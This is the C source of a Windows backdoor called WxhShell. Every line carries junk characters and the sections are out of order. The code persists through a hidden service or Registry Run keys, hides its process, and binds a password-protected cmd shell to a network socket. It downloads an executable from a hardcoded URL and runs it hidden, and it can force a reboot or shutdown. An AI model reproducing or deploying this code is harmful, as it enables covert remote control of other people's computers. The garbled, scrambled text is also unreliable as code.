    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E;yP.<PW  
    if(Boot(SHUTDOWN)) ig6F!p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bYiaJ  
    else { YQ]W<0(  
    closesocket(wsh); env]*gx+=  
    ExitThread(0); jVr:O `  
    } =m UtBD.;  
    break; A," u~6Bn  
    } {a(TT)d  
  // 获取shell $. Ih-  
  case 's': { eKt~pzXwm  
    CmdShell(wsh);  [5H#ay  
    closesocket(wsh); |(]XZ!{  
    ExitThread(0); )Zox;}WK+  
    break; Pwf":U)  
  } " 5=Gu1  
  // 退出 @I9A"4Im  
  case 'x': { ->d 3FR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); svN& ~@ l  
    CloseIt(wsh); y6f YNB  
    break; }5EvBEv-)  
    } _qr?v=,-A  
  // 离开 s_/ CJ6s  
  case 'q': { rOX\rI%0+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Eu}ro.}  
    closesocket(wsh); MGK%F#PM  
    WSACleanup(); T)MKhK9\Ab  
    exit(1); k*J0K=U|  
    break; d-y8c  
        } V!u W\i/  
  } nGq{+ G  
  } (V&$KDOA  
xtyOG  
  // 提示信息 ^tI ,eZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Ps&N^[  
} ?|kwYA$4o  
  } C h>r.OfP  
=nG g k}Z  
  return; ,XU<2jv]  
} H>X:#xOA_  
1 Qln|b8<  
// shell模块句柄 zt6GJ z1q  
int CmdShell(SOCKET sock) Kqm2TMO]>V  
{ y2KR^/LN|Y  
STARTUPINFO si; @kd`9Yw  
ZeroMemory(&si,sizeof(si)); :>f}rq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /@ m]@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -V7dSi  
PROCESS_INFORMATION ProcessInfo; /V0[Urc@  
char cmdline[]="cmd"; Fsz;T;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6o6I]QL  
  return 0; MR}=tO  
} ~7ZWtg;B  
x.8fxogz  
// 自身启动模式 ew?4;  
int StartFromService(void) "Doz~R\\  
{ 1R-WJph  
typedef struct &.F ]-1RN[  
{ f}=>c|Do  
  DWORD ExitStatus; H}?"2jF  
  DWORD PebBaseAddress; id+ ~ V  
  DWORD AffinityMask; ?k@^U9?R  
  DWORD BasePriority; Qco8m4n  
  ULONG UniqueProcessId; F$M^}vsjGx  
  ULONG InheritedFromUniqueProcessId; pLSh +*F  
}   PROCESS_BASIC_INFORMATION; F JCs$0  
|h%=a8  
PROCNTQSIP NtQueryInformationProcess; H\RejGR  
Ym%XCl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g-?@a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ Z.BYC  
>e>%AMzo[  
  HANDLE             hProcess; m~04I~8vk  
  PROCESS_BASIC_INFORMATION pbi; F/V -@SF  
bI+/0X x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &n9&k Em  
  if(NULL == hInst ) return 0; ,Wv+Ek  
T[Lz4;TRk5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [n4nnmM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wz%H?m:g#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); galzk$D  
LY-,cXm&|  
  if (!NtQueryInformationProcess) return 0; zG{P5@:.R  
9A~w2z\G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rtNYX=P  
  if(!hProcess) return 0; iYD5~pK8  
sKCYGt$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hi`[  
0 30LT$&!  
  CloseHandle(hProcess); .+A)^A  
bFjH* ~ P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pu~b\&^G  
if(hProcess==NULL) return 0; ,oykOda:|  
(@->AJF1\  
HMODULE hMod; I3HO><o f  
char procName[255]; )pSA|Qt N  
unsigned long cbNeeded; t W+"/<U  
$GP66Ev  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 60;_^v  
eSQkW  
  CloseHandle(hProcess); d~ +(g!  
|sdG<+  
if(strstr(procName,"services")) return 1; // 以服务启动 :_}xN!9LA  
O uNPDq%  
  return 0; // 注册表启动 9U8x&Z]P  
} ,Qx]_gZ`  
Idb*,l|<  
// 主模块 M287Z[  
int StartWxhshell(LPSTR lpCmdLine) DQ(0:r  
{ 7Xx3s@  
  SOCKET wsl; yts@cd`$  
BOOL val=TRUE; R2v9gz;W  
  int port=0; !( >U3N  
  struct sockaddr_in door; Y?TS,   
@Ddz|4vEi  
  if(wscfg.ws_autoins) Install(); "4\k1H"_  
^D<CoxG  
port=atoi(lpCmdLine); L&c & <+0T  
:.4O Hp1  
if(port<=0) port=wscfg.ws_port; T%% 0W J  
9dq"x[  
  WSADATA data; !m^;wkrY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GF6o  
,A'| Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "I66 @d?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~P#mvQE)  
  door.sin_family = AF_INET; 0N^+d,Xt.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ltf KqY-  
  door.sin_port = htons(port); <3!Al,!ej@  
)by7 [I0v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tf~eH!~0  
closesocket(wsl); iLch3[p%  
return 1; .<zKBv  
} d\uN  
=WjHf8v;  
  if(listen(wsl,2) == INVALID_SOCKET) { LD ]-IX&L  
closesocket(wsl); N"}>);r  
return 1; Xf_#O'z  
} Kf1J;*i|\  
  Wxhshell(wsl); {;DAKWm@T  
  WSACleanup(); gu3iaM$W  
Mh*r)B~%[  
return 0; dzEi^* (8  
K(i}?9WD  
}  tPQ|znB|  
yfK}1mx)j  
// 以NT服务方式启动 VxBBZsZO~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;+<IWDo  
{ }%p:Xv@X!  
DWORD   status = 0; I% u 2 ce  
  DWORD   specificError = 0xfffffff; "Yh;3tI4*  
GQ;0KIN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n1J u =C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kh9'W<tE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u Jqv@GFv  
  serviceStatus.dwWin32ExitCode     = 0; &EqLF  
  serviceStatus.dwServiceSpecificExitCode = 0; ZA+dtEE=f9  
  serviceStatus.dwCheckPoint       = 0; uG^CyM>R`  
  serviceStatus.dwWaitHint       = 0; @>HTbs6W  
i+h*<){X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iI{L>  
  if (hServiceStatusHandle==0) return; < mQXS87  
LP6 p  
status = GetLastError(); l3sF/zkH  
  if (status!=NO_ERROR) |]4!WBK  
{ T[Zs{S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HwHF8#D*l  
    serviceStatus.dwCheckPoint       = 0; O;~e^ <*  
    serviceStatus.dwWaitHint       = 0; 4~,Z 'k  
    serviceStatus.dwWin32ExitCode     = status; d #1Y^3n  
    serviceStatus.dwServiceSpecificExitCode = specificError; nd]SI;<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3~,&ab  
    return; B:T s_9*  
  } J-hJqR*;K  
Jqj!k*=/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H:@hCO[a  
  serviceStatus.dwCheckPoint       = 0; zbmC? 2$  
  serviceStatus.dwWaitHint       = 0; Z+&V  >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +P^ ;7"H  
} #7 3pryXV  
x "{aO6M  
// 处理NT服务事件,比如:启动、停止 SI=$s>1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Gqe]ZE#"  
{ <Z]#vr q  
switch(fdwControl) /~Y\KOH|  
{ r,Uk)xa/^  
case SERVICE_CONTROL_STOP: O;H6`JQ  
  serviceStatus.dwWin32ExitCode = 0; j{%;n40$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %rylmioW>  
  serviceStatus.dwCheckPoint   = 0; QselW]  
  serviceStatus.dwWaitHint     = 0; j|t=%*  
  { 3[ xdls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ECOJ .^  
  } ~Q&J\'GQH  
  return; HU'Mi8xxy  
case SERVICE_CONTROL_PAUSE: M76p=*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5EFt0?G   
  break; 2#>;cn\  
case SERVICE_CONTROL_CONTINUE: hZx&j{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |}z)>E  
  break; )A\ ZS<@Z7  
case SERVICE_CONTROL_INTERROGATE: wXKtQ#o}  
  break; hq 3n&/  
}; vN Bg&m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0~bUW V  
} Wef%f] u  
C|V7ZL>W  
// 标准应用程序主函数 wtw=RA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w"v!+~/9  
{  r{;NGQYs  
BS9VwG <Z  
// 获取操作系统版本 7%y$^B7{  
OsIsNt=GetOsVer(); $ln8Cpbca  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ib=)N)l  
lL}NiN-)t  
  // 从命令行安装 'X;cgAq8(  
  if(strpbrk(lpCmdLine,"iI")) Install(); (`1i o  
G-d7}Uz ?  
  // 下载执行文件 QQrldc(I  
if(wscfg.ws_downexe) { "'U^8NA2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4>d4g\Z0L  
  WinExec(wscfg.ws_filenam,SW_HIDE); i g(O$y  
} k =5k)}i  
*?FVLE  
if(!OsIsNt) { .d<K`.O ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 tF:AnNp=  
HideProc(); (BEe^]f  
StartWxhshell(lpCmdLine); YvJFZ_faX  
} lq-KM8j  
else WXy8<?s  
  if(StartFromService()) ~*HQPp?v  
  // 以服务方式启动 w"j>^#8  
  StartServiceCtrlDispatcher(DispatchTable); 8A#,*@V[  
else ~CNB3r5R  
  // 普通方式启动 MgeC-XQM  
  StartWxhshell(lpCmdLine); |Xt.[1  
Tn&_ >R  
return 0; #`VAw ) eV  
} MTu\T  
Sq5,}oT_{j  
'(.5!7?Qc  
h.edb6  
=========================================== TTXF r  
$ VT)  
.C'\U[A{  
L/i'6(="  
z@,pT"rb  
1}d F,e  
" Va8 }JD  
)ros-d p`  
#include <stdio.h> LCivZ0?|X  
#include <string.h> v \:AOY'  
#include <windows.h> \n{# r`T  
#include <winsock2.h> &<t%u[3  
#include <winsvc.h> 0>28o.  
#include <urlmon.h> ;/Hr ZhOE  
"*bLFORkq'  
#pragma comment (lib, "Ws2_32.lib") K(+=V)'Dz  
#pragma comment (lib, "urlmon.lib") cXq9k!I%  
L^JU{\C  
#define MAX_USER   100 // 最大客户端连接数 QLJ\>  
#define BUF_SOCK   200 // sock buffer `=(<!nXJx  
#define KEY_BUFF   255 // 输入 buffer C m:AU;  
bBi>BP =  
#define REBOOT     0   // 重启 %p 6Ms  
#define SHUTDOWN   1   // 关机 }b456J  
%3`*)cp@  
#define DEF_PORT   5000 // 监听端口 t/[2{'R4  
dcf,a<K\  
#define REG_LEN     16   // 注册表键长度 jr` swyg  
#define SVC_LEN     80   // NT服务名长度 !]F`qS>  
o@)Fy51DD  
// 从dll定义API Ue}1(2.v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W>jKWi,{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QRju9x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `y>m >j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zz0er|9]Q  
 zK6w0  
// wxhshell配置信息 7J);{ &x9h  
struct WSCFG { bW`nLiw}%  
  int ws_port;         // 监听端口 k6#$Nb606  
  char ws_passstr[REG_LEN]; // 口令 e|tx`yA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7m#EqF$P  
  char ws_regname[REG_LEN]; // 注册表键名 zZMKgFR@  
  char ws_svcname[REG_LEN]; // 服务名 (dg,w*t'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <WUgH6"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b$@I(.X:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "09v6Tx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |b\a)1Po:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z};|.N}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rZgu`5 <a  
- |p eD L  
}; v.RA{a 9  
-|V#U`mwF  
// default Wxhshell configuration }1 O"?6  
struct WSCFG wscfg={DEF_PORT, _g Mr]%Q  
    "xuhuanlingzhe", S<T 'B0r8  
    1, ?= 7k<a~  
    "Wxhshell", 6w%n$tiX  
    "Wxhshell", z?DCQ  
            "WxhShell Service", yy5|8L  
    "Wrsky Windows CmdShell Service", ]y#'U  
    "Please Input Your Password: ", g[~{iu_$d  
  1, y(DT ^>0  
  "http://www.wrsky.com/wxhshell.exe", CzlG#?kU?2  
  "Wxhshell.exe" &<><4MQ  
    }; a<-aE4wdm  
?b7ttlX{  
// 消息定义模块 {J"]tx9 ]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2D:/.9= 8v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _OGv2r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qlM<X?  
char *msg_ws_ext="\n\rExit."; o}=*E  
char *msg_ws_end="\n\rQuit."; MsIR~  
char *msg_ws_boot="\n\rReboot..."; E{)X ;kN=  
char *msg_ws_poff="\n\rShutdown..."; 4rDV CXE  
char *msg_ws_down="\n\rSave to "; huZ5?'/Fg  
Xm# +Z`|N  
char *msg_ws_err="\n\rErr!"; q]1p Q)\'p  
char *msg_ws_ok="\n\rOK!"; 4V9BmVS|Th  
;8<HB1 &,  
char ExeFile[MAX_PATH]; oLkzLJ  
int nUser = 0; g{Av =66Z  
HANDLE handles[MAX_USER]; ASdW!4.p  
int OsIsNt; (g@X.*c8  
>,Y+ 1  
SERVICE_STATUS       serviceStatus; !n;3jAl&$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <<-L,0  
`Ij EwKra  
// 函数声明 S0StC$$1  
int Install(void); Ab[o~X"  
int Uninstall(void); b"\lF1Nf&o  
int DownloadFile(char *sURL, SOCKET wsh); 6Gg`ExcT5  
int Boot(int flag); 1Xi>&;],  
void HideProc(void); sSh." H  
int GetOsVer(void); i=/hLE8T*  
int Wxhshell(SOCKET wsl); a( ~X  
void TalkWithClient(void *cs); @(c^u;  
int CmdShell(SOCKET sock); 8 AW}7.<5  
int StartFromService(void); v#gXXO[P1  
int StartWxhshell(LPSTR lpCmdLine); B.=n U  
(1cB Tf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jt}`oFQ5l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h1?xfdvGd  
8Dl(zYK;  
// 数据结构和表定义 1BmKwux:  
SERVICE_TABLE_ENTRY DispatchTable[] = I Tl>HlS  
{ p9jC-&:  
{wscfg.ws_svcname, NTServiceMain}, (Q*x"G#4>  
{NULL, NULL} WZ`i\s1#  
}; gaC4u,Zb  
R1 SFMI   
// 自我安装 dG+$!*6Z  
int Install(void) E!ZLVR.K  
{ X> 98`  
  char svExeFile[MAX_PATH]; oAifM1*0  
  HKEY key; onmpMU7w  
  strcpy(svExeFile,ExeFile); aoz+Th3  
_<]0hC  
// 如果是win9x系统,修改注册表设为自启动 HPu+ 4xQV  
if(!OsIsNt) { `StuUa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bp/l~h.7W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #do%u"q  
  RegCloseKey(key); xKUWj<+/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |11vm#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^X6e\]yj  
  RegCloseKey(key); #9s)fR  
  return 0; i+5Qs-dHA  
    } Ae=JG8Ht~  
  } hlre eXv  
} NA$)qX_  
else { _"x%s  
KaMg [ G  
// 如果是NT以上系统,安装为系统服务 )-"<19eu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /pkN=OBR  
if (schSCManager!=0) _'mC*7+  
{ j=U"t\{  
  SC_HANDLE schService = CreateService FO>!T@0G  
  ( =}tomN(F~[  
  schSCManager, N"<.v6Z  
  wscfg.ws_svcname, E,\)tZ;,  
  wscfg.ws_svcdisp, Id^q!4Th9  
  SERVICE_ALL_ACCESS, S]=.p-Am  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S0OL;[*.  
  SERVICE_AUTO_START, ZD]{HxGL!  
  SERVICE_ERROR_NORMAL, U:99w  
  svExeFile, ] 7[#K^  
  NULL, *.eeiSi{  
  NULL, E$z-|-{>  
  NULL, cQxUEY('+  
  NULL, ez9F!1  
  NULL Py #EjF12  
  ); #-Mr3  
  if (schService!=0) Wm"q8-<<  
  { a e-tAA[1Y  
  CloseServiceHandle(schService); 5nBJj  
  CloseServiceHandle(schSCManager); )2wf D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "5dke^yk0  
  strcat(svExeFile,wscfg.ws_svcname); CB-;Jqb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A`M-N<T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :FU?vh$)  
  RegCloseKey(key); |wJdp,q R  
  return 0; $bp$[fX(e  
    } sqpo5~  
  } ";`jS&"=  
  CloseServiceHandle(schSCManager); \IC^z  
} L'a+1O1q&i  
} oCE'@}s.i  
|5`ecjb.  
return 1; W$wX[  
} &b^_~hB:q  
i,"Xw[H*s  
// 自我卸载 9i 9 ,X^=  
int Uninstall(void) JFc, f  
{ (!8b$) k  
  HKEY key; l'Za"TL:  
F{QOu0$cA4  
if(!OsIsNt) { "0nsYE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AH/^v;-  
  RegDeleteValue(key,wscfg.ws_regname); [?:MIl#!  
  RegCloseKey(key); !_3b#Caf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z'9|  
  RegDeleteValue(key,wscfg.ws_regname); u4T$  
  RegCloseKey(key); #%ld~dgz-  
  return 0; C7R3W,  
  } I6;6x  
} yKrb GK*=_  
} ID`C  
else { fBZLWfp9  
#?r|6<4X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ChUE,)  
if (schSCManager!=0) xx1lEcj  
{ I+twI&GS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LHx ")H?,  
  if (schService!=0) 2!}F+^8'P  
  { 3 eF c  
  if(DeleteService(schService)!=0) { Hmm0H6&u  
  CloseServiceHandle(schService); 'MX|=K!C  
  CloseServiceHandle(schSCManager); !%}n9vr!}\  
  return 0; )M"NMUuU"  
  } @,= pG  
  CloseServiceHandle(schService); ,J+L_S+B~  
  } 9XQE5^  
  CloseServiceHandle(schSCManager); bJ 6ivz  
} 6&'kN 2  
} wXp:XZ:]T  
!pRu?5  
return 1; ?[bE/Ya+S  
} 2V% z=  
&d6ud |  
// 从指定url下载文件 yU/?4/G!  
int DownloadFile(char *sURL, SOCKET wsh) 9 4H')(  
{ t\QLj&h}E  
  HRESULT hr; $X-PjQb1Bb  
char seps[]= "/"; |uz<)  
char *token; +J{ErsG?6P  
char *file; 1E||ft-1i*  
char myURL[MAX_PATH]; -,;woOG  
char myFILE[MAX_PATH]; zRLJ|ejMP  
;CS[Ja>e  
strcpy(myURL,sURL); QGOkB  
  token=strtok(myURL,seps); EpRn,[  
  while(token!=NULL) 5tkKd4VfL  
  { h]~FYY  
    file=token; aqqo>O3 s  
  token=strtok(NULL,seps); %X\A|V&  
  } R0#scr   
F-o?tU  
GetCurrentDirectory(MAX_PATH,myFILE); k kD#Bb  
strcat(myFILE, "\\"); C[%&;\3S@  
strcat(myFILE, file); Sn'!Nq>  
  send(wsh,myFILE,strlen(myFILE),0); 6y Muj<L  
send(wsh,"...",3,0); '3^qW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CDtL.a\  
  if(hr==S_OK) V D7^wd9  
return 0; 4?@#w>(  
else |[5;dt_U/  
return 1; A9SL|9Q  
n2-+.9cY  
} uUHWTyoO  
3 SbZD   
// 系统电源模块 2+)h!y]  
int Boot(int flag) mh[,E8'd  
{ IFr"IOr'l  
  HANDLE hToken; mT@Gf>}/A  
  TOKEN_PRIVILEGES tkp; 9&zR i  
HH6H4K3Zj  
  if(OsIsNt) { \fC;b"j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bG"FN/vg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r|ZB3L|7  
    tkp.PrivilegeCount = 1; $$0 < &  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t1 9f%d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e~)4v  
if(flag==REBOOT) { D5Sbs(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 60%fva  
  return 0; wTR?8$  
} I*o6Bn |D  
else { H'k~;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BB3 a8  
  return 0; Rvf{u8W  
} UJp'v_hN  
  } D?S|]]Y!q  
  else { !WGQ34R{  
if(flag==REBOOT) { S/pU|zV[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TBJ?8W(  
  return 0; euT=]j  
} Cb<7?),vK  
else { @V^.eVM\R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $U7/w?gc'  
  return 0; hmLI9TUe6  
} Kc^ctAk7;  
} P%yL{  
kzUj)  
return 1; ^9hc`.5N&?  
} -*w2<DCn  
q3/4l%"X  
// win9x进程隐藏模块 yr>J^Et%_  
void HideProc(void) Ho/tCU|w  
{ O\;Lb[`lb  
3HP { a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <bCB-lG*Kb  
  if ( hKernel != NULL ) 6K8v:yYPa  
  { 6?US<<MQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fq+Cr?-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $(0<T<\  
    FreeLibrary(hKernel); n;xzjq-  
  } rttKj{7E  
[-Y~g%M  
return; ,*lns.|n  
} 2w1Mf<IXPo  
5Y`4%*$  
// 获取操作系统版本 N`N=}&v ]  
int GetOsVer(void) W2$rC5|  
{ 7g{JE^u  
  OSVERSIONINFO winfo; 8,+T[S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |mWSS'7fI  
  GetVersionEx(&winfo); j+AZ!$E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W6EEC<$JL  
  return 1; r/ATZAgHP  
  else " @ ""  
  return 0; ^qC.bv]&  
} vFLE%z{\o  
#LR6wEk  
// 客户端句柄模块 .*YOyK3H  
int Wxhshell(SOCKET wsl) {*CG&-k2D  
{ BBX/&d8n  
  SOCKET wsh; !7#*Wdt+P  
  struct sockaddr_in client; j&A9 &+w  
  DWORD myID; Fv/{)H<:y  
(qc <'$o  
  while(nUser<MAX_USER) oliVaavj  
{ 13 JG[,w  
  int nSize=sizeof(client); ;2fzA<RkK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K]>4*)A:  
  if(wsh==INVALID_SOCKET) return 1; u\xrC\Ka  
G5 )"%G.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c??m9=OX1  
if(handles[nUser]==0) Jq>5:"jZ0  
  closesocket(wsh); p'@z}T?F  
else :nnch?J_  
  nUser++; (1er?4  
  }  L=!h`k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' t(#HBU  
*n@rPr-  
  return 0; E:\#Ur2  
} SU7,uxF  
xK1w->[  
// 关闭 socket A~?)g!tS<  
void CloseIt(SOCKET wsh) E'8XXV^I?P  
{ V+0pvgS[  
closesocket(wsh); 6,~ %  
nUser--; /N/jwLr  
ExitThread(0); @wAYhnxq  
} 8BS Nm  
w[QC  
// 客户端请求句柄 Zmk 9C@  
void TalkWithClient(void *cs) c(3idO*R)  
{ *$('ous8  
yswf2F  
  SOCKET wsh=(SOCKET)cs; V*%><r  
  char pwd[SVC_LEN]; <7ag=IgDy  
  char cmd[KEY_BUFF]; NgxJz ]b  
char chr[1]; ) AGE"M3X  
int i,j; UAI'tRY N_  
tg/!=g  
  while (nUser < MAX_USER) { Uul5h8F  
6_9@s*=d>  
if(wscfg.ws_passstr) { Lq@uwiq!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dg ~k"Ice  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 65+2+p  
  //ZeroMemory(pwd,KEY_BUFF); "x_G6JE4tv  
      i=0; _a?x)3\v  
  while(i<SVC_LEN) { G}WY0FC6  
6(A"5B=\  
  // 设置超时 m5?t<H~  
  fd_set FdRead; pwVGe|h%,  
  struct timeval TimeOut; J<cY'?D  
  FD_ZERO(&FdRead); [zrFW g6N  
  FD_SET(wsh,&FdRead); a*_" nI&lr  
  TimeOut.tv_sec=8; sC :.}6  
  TimeOut.tv_usec=0; Y{4nBu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #iD`Bg!VXc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7Z}T!HFMr  
KlwB oC/{K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z y6kA\q  
  pwd=chr[0]; Fb{HiU9<!  
  if(chr[0]==0xd || chr[0]==0xa) { 1[RI 07g7*  
  pwd=0; vBY?3p,0p  
  break; kk CoOTe&  
  } #N97  
  i++; _w5c-\-PUM  
    } ;t.)A3 PL  
XzBl }4s  
  // 如果是非法用户,关闭 socket x+Ly,9nc$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RtaMrG=D  
} [A;0I jKam  
mLHl]xs4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lj *=bK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [RDY(}P%  
V )oKsO  
while(1) { weOga\  
@_#]7  
  ZeroMemory(cmd,KEY_BUFF); qs (L2'7/  
u@4khN: ^p  
      // 自动支持客户端 telnet标准   0SZ:C(]  
  j=0; 5S7ATr(*  
  while(j<KEY_BUFF) { BUBtK-n~"3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OR10IS  
  cmd[j]=chr[0]; "@xL9[d  
  if(chr[0]==0xa || chr[0]==0xd) { *>lXCx  
  cmd[j]=0; 4%jQHOZ  
  break; cm>+f^4?n  
  } ~^g*cA t}  
  j++; /XuOv(j  
    } .  
mP +H C)2  
  // 下载文件 %L  nG^L  
  if(strstr(cmd,"http://")) { kxY9[#:<fB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;l@Ge`&u  
  if(DownloadFile(cmd,wsh)) <+<,$jGC-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v +?'/Q%  
  else GRgpy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (6)X Fp&  
  } V67<Ky>  
